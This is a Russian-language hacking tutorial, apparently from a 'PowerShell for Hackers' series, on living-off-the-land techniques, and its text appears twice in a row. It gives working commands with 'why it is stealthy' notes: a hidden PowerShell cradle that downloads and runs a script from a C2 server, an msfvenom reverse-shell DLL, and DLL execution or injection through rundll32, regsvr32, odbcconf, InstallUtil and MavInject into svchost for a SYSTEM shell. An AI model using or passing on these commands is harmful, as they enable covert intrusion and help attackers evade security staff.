Добро пожаловать обратно, кибервоины!
Мы надеемся, что на протяжении всей серии «Выживание» вы многому у нас научились. Сегодня мы расскажем о методах «Жизни на суше» , которые можно использовать без привлечения внимания. Наша цель — использовать знания из предыдущих статей, чтобы выполнять свою работу без лишнего внимания со стороны специалистов по безопасности. Все команды, которые мы рассмотрим в двух частях, являются безопасными, встроенными и доступны в устаревших системах. Не все из них хорошо известны, и отследить их все невозможно, поскольку они генерируют огромное количество журналов, в которых сложно разобраться. Как вы, возможно, знаете, некоторые легитимные программы могут вести себя подозрительно, используя имена своих процессов и драйверов. Множество ложных срабатываний быстро истощают специалистов по безопасности, поэтому во многих случаях с помощью этих команд можно остаться незамеченными.
Сегодня вы узнаете, как выполнять различные типы скриптов в качестве замены скриптам .ps1, поскольку их можно отслеживать, создавать поддельные драйверы и внедрять библиотеки DLL в процессы, чтобы получить обратную оболочку для вашего C2.
Давайте начнем!
Вот напоминание о том, как загрузить и выполнить скрипт в памяти скрытно:
PS > powershell.exe -nop -w h -ep bypass -c "iex (New-Object Net.WebClient).DownloadString('http://c2/script.ps1')"
Пошаговое руководство: Это указывает PowerShell на быстрый запуск без загрузки скриптов профиля пользователя ( -nop ), скрытие окна ( -wh ), игнорирование правил выполнения скриптов ( -ep bypass ), загрузку скрипта с URL-адреса и его непосредственное выполнение в памяти ( DownloadString + Invoke-Expression ).
Когда вы его используете: когда вам нужно загрузить скрипт с удаленного сервера и незаметно запустить его.
Почему он незаметен: PowerShell часто используется для административных задач, а выполнение в памяти не оставляет на диске файлов для сканирования антивирусом. Пропуск скриптов профиля пользователя позволяет избежать потенциального встроенного в них мониторинга.
Менее скрытный вариант:
PS > iwr <a href="https://hackers-arise.com/powershell-for-hackers-survival-edition-part-4-blinding-defenders/" title="">http://c2/script.ps1</a> | iex
Важно помнить, что Invoke-WebRequest ( iwr ) и Invoke-Expression ( iex ) часто используются хакерами. Позже мы рассмотрим более скрытные способы загрузки и выполнения полезных данных.
Вот как связать перечисление с помощью CMD:
PS > cmd.exe /c "whoami /all > C:\Temp\privs.txt & netstat -ano >> C:\Temp\privs.txt"
Пошаговое руководство: /c запускает команду и завершает работу. whoami /all получает информацию о пользователе и привилегиях и записывает её в C:\Temp\privs.txt . netstat -ano добавляет активные сетевые подключения в тот же файл. Пользователь не видит видимого окна.
Когда это следует использовать: Цепочка команд удобна, особенно если используется ведение журнала блоков скриптов и ваши команды сохраняются.
Почему это незаметно: cmd.exe используется повсеместно, а запись во временные файлы выглядит как обычная диагностика.
PS > cscript //E:JScript //Nologo C:\Temp\script.js
Пошаговое руководство (обычный вариант): //E:JScript выбирает движок JavaScript, а //Nologo скрывает обычный заголовок. Последний аргумент указывает на скрипт, который будет запущен.
Когда вы будете использовать его: для всех видов использования. С помощью ИИ вы можете написать скрипт подсчёта.
Почему он незаметен: в некоторых средах за ним наблюдают меньше, чем за PowerShell, и он выглядит как устаревшая автоматизация.
PS > wscript.exe //E:VBScript C:\Temp\enum.vbs //B
Пошаговое руководство: //B выполняется в пакетном режиме (без окон сообщений). Скрипт VBScript в C:\Temp\enum.vbs выполняется сервером сценариев Windows.
Когда использовать: То же самое, всё зависит от создаваемого вами скрипта. Мы создали скрипт перечисления систем, который отправляет вывод в текстовый файл.
Почему он незаметен: работает без окон и часто используется законно.
PS > mshta users.hta
Пошаговое руководство: mshta.exe запускает код скрипта в users.hta, который может создать объект WScript и выполнить команды, потенциально открывая окно с выводом.
Когда вы будете его использовать: для запуска, казалось бы, безобидного HTML-приложения, которое выполняет команды оболочки.
Почему он незаметен: он выглядит как веб-компонент или компонент пользовательского интерфейса и может обходить некоторые правила, доступные только скриптам.
C:\> rundll32.exe C:\reflective_dll.x64.dll,TestEntry
Пошаговое руководство: команда запускает rundll32.exe для загрузки reflective_dll.x64.dll и вызова его функции TestEntry.
Когда это следует использовать: для выполнения кода DLL в средах, где прямое выполнение ограничено.
Почему он незаметен: rundll32.exe — это обычный системный двоичный файл, и его активность может сливаться с обычными шагами установщика.
PS > regsvr32.exe /u /s .\reflective_dll.x64.dll
Пошаговое руководство : regsvr32 получает запрос на запуск DLL. /s делает его бесшумным.
Когда это можно использовать: для выполнения DLL через процесс регистрации, имитирующий задачи обслуживания.
Почему это незаметно: Операции регистрации являются обычным явлением в рабочих процессах ИТ, поэтому звонок можно пропустить.
bash > msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.57 LPORT=4444 -f dll -o file.dll
PS > odbcconf.exe INSTALLDRIVER “Printer-driverX|Driver=C:\file.dll|APILevel=2”
PS > odbcconf.exe configsysdns “Printer-driverX” “DNS=Printer-driverX”
Пошаговое руководство: Первая команда odbcconf указывает Windows зарегистрировать поддельный драйвер базы данных с именем «Printer-driverX» с помощью DLL-файла. Часть APILevel=2 делает его похожим на легитимный драйвер. При обработке этой команды Windows загружает file.dll , который запускает обратную оболочку. Вторая команда odbcconf создаёт системный источник данных (DSN) с именем «Printer-driverX», связанный с этим поддельным драйвером, что запускает повторную загрузку DLL-файла, обеспечивая запуск вредоносного кода.
Когда это можно использовать: для скрытого выполнения пользовательской DLL-библиотеки, особенно когда другие методы отслеживаются.
Почему это незаметно: odbcconf — легальный инструмент Windows, который редко используется вне задач администрирования баз данных, поэтому он не подвергается пристальному контролю со стороны средств безопасности или администраторов в большинстве систем. Использование odbcconf для загрузки DLL выглядит как обычная настройка базы данных, скрывая злонамеренный замысел.
PS > InstallUtil.exe /logfile= /LogToConsole=false /U file.dll
Пошаговое руководство: Эта команда предписывает Windows удалить сборку .NET (file.dll), ранее настроенную как служба или компонент. Флаг /U означает удаление, /logfile= пропускает создание файла журнала, а /LogToConsole=false скрывает вывод на экран. Если file.dll — вредоносная сборка .NET с собственным классом установщика, её удаление может запустить её код, например, обратную оболочку, при выполнении команды удаления. Однако для DLL из msfvenom это может работать некорректно, если только это не DLL-библиотека службы .NET.
Когда это следует использовать: Это полезно, когда у вас есть права администратора и вам нужно скрытно выполнить полезную нагрузку .NET, особенно если другие методы недоступны.
Почему это незаметно: Утилиты установки обычно используются разработчиками и администраторами.
PS > MavInject.exe 528 /INJECTRUNNING C:\file.dll
Пошаговое руководство: выбирает процесс с идентификатором 528 (svchost.exe) и поручает MavInject.exe внедрить в него file.dll. При загрузке DLL он запускает код, и мы получаем обратное соединение.
Зачем это использовать: для внедрения DLL для высокопривилегированного обратного шелла, например, доступа SYSTEM.
Почему это незаметно: MavInject.exe — это специализированный инструмент Microsoft, поэтому он редко отслеживается программным обеспечением безопасности или администраторами, что делает инъекцию похожей на законное поведение системы.
Мы надеемся, что на протяжении всей серии «Выживание» вы многому у нас научились. Сегодня мы расскажем о методах «Жизни на суше» , которые можно использовать без привлечения внимания. Наша цель — использовать знания из предыдущих статей, чтобы выполнять свою работу без лишнего внимания со стороны специалистов по безопасности. Все команды, которые мы рассмотрим в двух частях, являются безопасными, встроенными и доступны в устаревших системах. Не все из них хорошо известны, и отследить их все невозможно, поскольку они генерируют огромное количество журналов, в которых сложно разобраться. Как вы, возможно, знаете, некоторые легитимные программы могут вести себя подозрительно, используя имена своих процессов и драйверов. Множество ложных срабатываний быстро истощают специалистов по безопасности, поэтому во многих случаях с помощью этих команд можно остаться незамеченными.
Сегодня вы узнаете, как выполнять различные типы скриптов в качестве замены скриптам .ps1, поскольку их можно отслеживать, создавать поддельные драйверы и внедрять библиотеки DLL в процессы, чтобы получить обратную оболочку для вашего C2.
Давайте начнем!
Исполнение и написание сценариев
Powershell
Давайте вспомним основные принципы скрытности в PowerShell из предыдущих статей. PowerShell — это встроенная среда сценариев, используемая системными администраторами для автоматизации задач, проверки состояния системы и настройки Windows. Она легитимна и не вызывает подозрений, если только не выполняется там, где ей не место. Создание процессов можно отслеживать, но это не всегда так. Для такого мониторинга требуются усилия и программное обеспечение. То же самое относится и к скриптам .ps1. Именно поэтому в одной из предыдущих статей мы научились преобразовывать .ps1 в .bat, чтобы не выделяться. Это не значит, что вам следует избегать PowerShell или его скриптов, поскольку с его помощью можно создавать множество инструментов.Вот напоминание о том, как загрузить и выполнить скрипт в памяти скрытно:
PS > powershell.exe -nop -w h -ep bypass -c "iex (New-Object Net.WebClient).DownloadString('http://c2/script.ps1')"
Пошаговое руководство: Это указывает PowerShell на быстрый запуск без загрузки скриптов профиля пользователя ( -nop ), скрытие окна ( -wh ), игнорирование правил выполнения скриптов ( -ep bypass ), загрузку скрипта с URL-адреса и его непосредственное выполнение в памяти ( DownloadString + Invoke-Expression ).
Когда вы его используете: когда вам нужно загрузить скрипт с удаленного сервера и незаметно запустить его.
Почему он незаметен: PowerShell часто используется для административных задач, а выполнение в памяти не оставляет на диске файлов для сканирования антивирусом. Пропуск скриптов профиля пользователя позволяет избежать потенциального встроенного в них мониторинга.
Менее скрытный вариант:
PS > iwr <a href="https://hackers-arise.com/powershell-for-hackers-survival-edition-part-4-blinding-defenders/" title="">http://c2/script.ps1</a> | iex
Важно помнить, что Invoke-WebRequest ( iwr ) и Invoke-Expression ( iex ) часто используются хакерами. Позже мы рассмотрим более скрытные способы загрузки и выполнения полезных данных.
КМД
CMD — это классическая командная строка Windows, используемая для запуска пакетных файлов и утилит. Хотя этот модуль посвящен PowerShell, нас больше интересует скрытность, поэтому мы рассмотрим некоторые команды CMD. С её помощью мы можем объединять утилиты в цепочки, перенаправлять вывод в файлы и незаметно собирать системную информацию.Вот как связать перечисление с помощью CMD:
PS > cmd.exe /c "whoami /all > C:\Temp\privs.txt & netstat -ano >> C:\Temp\privs.txt"
Пошаговое руководство: /c запускает команду и завершает работу. whoami /all получает информацию о пользователе и привилегиях и записывает её в C:\Temp\privs.txt . netstat -ano добавляет активные сетевые подключения в тот же файл. Пользователь не видит видимого окна.
Когда это следует использовать: Цепочка команд удобна, особенно если используется ведение журнала блоков скриптов и ваши команды сохраняются.
Почему это незаметно: cmd.exe используется повсеместно, а запись во временные файлы выглядит как обычная диагностика.
cscript.exe
Он запускает скрипты VBScript или JScript из командной строки. Более старые средства автоматизации используют его для выполнения скриптов, выполняющих проверки или запускающих команды. В основном мы будем использовать его для обхода мониторинга выполнения PS1. Ниже вы можете увидеть, как мы выполнили скрипт JavaScript.PS > cscript //E:JScript //Nologo C:\Temp\script.js
Пошаговое руководство (обычный вариант): //E:JScript выбирает движок JavaScript, а //Nologo скрывает обычный заголовок. Последний аргумент указывает на скрипт, который будет запущен.
Когда вы будете использовать его: для всех видов использования. С помощью ИИ вы можете написать скрипт подсчёта.
Почему он незаметен: в некоторых средах за ним наблюдают меньше, чем за PowerShell, и он выглядит как устаревшая автоматизация.
wscript.exe
По умолчанию он запускает скрипты Windows Script Host (WSH) (VBScript/JScript), часто для сценариев, отображающих диалоговые окна. Как пентестер, вы можете запустить VBScript в фоновом режиме или выполнять операции оболочки без видимых окон.PS > wscript.exe //E:VBScript C:\Temp\enum.vbs //B
Пошаговое руководство: //B выполняется в пакетном режиме (без окон сообщений). Скрипт VBScript в C:\Temp\enum.vbs выполняется сервером сценариев Windows.
Когда использовать: То же самое, всё зависит от создаваемого вами скрипта. Мы создали скрипт перечисления систем, который отправляет вывод в текстовый файл.
Почему он незаметен: работает без окон и часто используется законно.
mshta.exe
Обычно он запускает HTML-приложения (HTA), содержащие скрипты, используемые для небольших административных интерфейсов. Для пентестеров это способ выполнения HTA-скриптов со встроенным кодом. Требуется графический интерфейс.PS > mshta users.hta
Пошаговое руководство: mshta.exe запускает код скрипта в users.hta, который может создать объект WScript и выполнить команды, потенциально открывая окно с выводом.
Когда вы будете его использовать: для запуска, казалось бы, безобидного HTML-приложения, которое выполняет команды оболочки.
Почему он незаметен: он выглядит как веб-компонент или компонент пользовательского интерфейса и может обходить некоторые правила, доступные только скриптам.
Загрузка и инъекции DLL
Эти методы основаны на законных механизмах загрузки или регистрации DLL для запуска кода.Rundll32.exe
Используется для загрузки DLL-библиотеки и вызова её экспортированных функций, часто установщиками и системными утилитами. Пентестеры могут использовать его для выполнения скрипта или функции в DLL, например, обратного шелла, созданного msfvenom. Будьте осторожны, так как rundll32.exe часто используется не по назначению.C:\> rundll32.exe C:\reflective_dll.x64.dll,TestEntry
Пошаговое руководство: команда запускает rundll32.exe для загрузки reflective_dll.x64.dll и вызова его функции TestEntry.
Когда это следует использовать: для выполнения кода DLL в средах, где прямое выполнение ограничено.
Почему он незаметен: rundll32.exe — это обычный системный двоичный файл, и его активность может сливаться с обычными шагами установщика.
Regsvr32.exe
Проще говоря, он добавляет или удаляет специальные файлы Windows (например, DLL или скриптлеты) из системного реестра, чтобы приложения могли использовать или прекратить их использование. Это ещё один менее распространённый способ запуска DLL.PS > regsvr32.exe /u /s .\reflective_dll.x64.dll
Пошаговое руководство : regsvr32 получает запрос на запуск DLL. /s делает его бесшумным.
Когда это можно использовать: для выполнения DLL через процесс регистрации, имитирующий задачи обслуживания.
Почему это незаметно: Операции регистрации являются обычным явлением в рабочих процессах ИТ, поэтому звонок можно пропустить.
odbcconf.exe
Обычно odbcconf.exe помогает программам подключаться к базам данных, настраивая драйверы и соединения. Вы можете использовать его для запуска своих DLL. Ниже приведён пример того, как мы запустили сгенерированную DLL и получили обратную оболочку.bash > msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.57 LPORT=4444 -f dll -o file.dll
PS > odbcconf.exe INSTALLDRIVER “Printer-driverX|Driver=C:\file.dll|APILevel=2”
PS > odbcconf.exe configsysdns “Printer-driverX” “DNS=Printer-driverX”
Пошаговое руководство: Первая команда odbcconf указывает Windows зарегистрировать поддельный драйвер базы данных с именем «Printer-driverX» с помощью DLL-файла. Часть APILevel=2 делает его похожим на легитимный драйвер. При обработке этой команды Windows загружает file.dll , который запускает обратную оболочку. Вторая команда odbcconf создаёт системный источник данных (DSN) с именем «Printer-driverX», связанный с этим поддельным драйвером, что запускает повторную загрузку DLL-файла, обеспечивая запуск вредоносного кода.
Когда это можно использовать: для скрытого выполнения пользовательской DLL-библиотеки, особенно когда другие методы отслеживаются.
Почему это незаметно: odbcconf — легальный инструмент Windows, который редко используется вне задач администрирования баз данных, поэтому он не подвергается пристальному контролю со стороны средств безопасности или администраторов в большинстве систем. Использование odbcconf для загрузки DLL выглядит как обычная настройка базы данных, скрывая злонамеренный замысел.
Installutil.exe
Обычно это инструмент Windows, который устанавливает или удаляет программы .NET, такие как библиотеки DLL или исполняемые файлы, предназначенные для работы в качестве служб или компонентов. Он настраивает их для работы с Windows, например, регистрируя для автоматического запуска, или удаляет их, когда они больше не нужны. В сценариях пентеста эта команда используется для выполнения вредоносного кода, скрытого в специально созданной библиотеке DLL .NET, имитируя её удаление в качестве службы .NET.PS > InstallUtil.exe /logfile= /LogToConsole=false /U file.dll
Пошаговое руководство: Эта команда предписывает Windows удалить сборку .NET (file.dll), ранее настроенную как служба или компонент. Флаг /U означает удаление, /logfile= пропускает создание файла журнала, а /LogToConsole=false скрывает вывод на экран. Если file.dll — вредоносная сборка .NET с собственным классом установщика, её удаление может запустить её код, например, обратную оболочку, при выполнении команды удаления. Однако для DLL из msfvenom это может работать некорректно, если только это не DLL-библиотека службы .NET.
Когда это следует использовать: Это полезно, когда у вас есть права администратора и вам нужно скрытно выполнить полезную нагрузку .NET, особенно если другие методы недоступны.
Почему это незаметно: Утилиты установки обычно используются разработчиками и администраторами.
Mavinject.exe
По сути, он был разработан для поддержки виртуализации приложений, когда Windows запускает приложения в виртуальном контейнере. Мы используем его для внедрения DLL-библиотек в запущенные процессы, чтобы обеспечить выполнение нашего кода. Мы рекомендуем использовать для внедрения системные процессы, например, svchost.exe. Вот как это делается:PS > MavInject.exe 528 /INJECTRUNNING C:\file.dll
Пошаговое руководство: выбирает процесс с идентификатором 528 (svchost.exe) и поручает MavInject.exe внедрить в него file.dll. При загрузке DLL он запускает код, и мы получаем обратное соединение.
Зачем это использовать: для внедрения DLL для высокопривилегированного обратного шелла, например, доступа SYSTEM.
Почему это незаметно: MavInject.exe — это специализированный инструмент Microsoft, поэтому он редко отслеживается программным обеспечением безопасности или администраторами, что делает инъекцию похожей на законное поведение системы.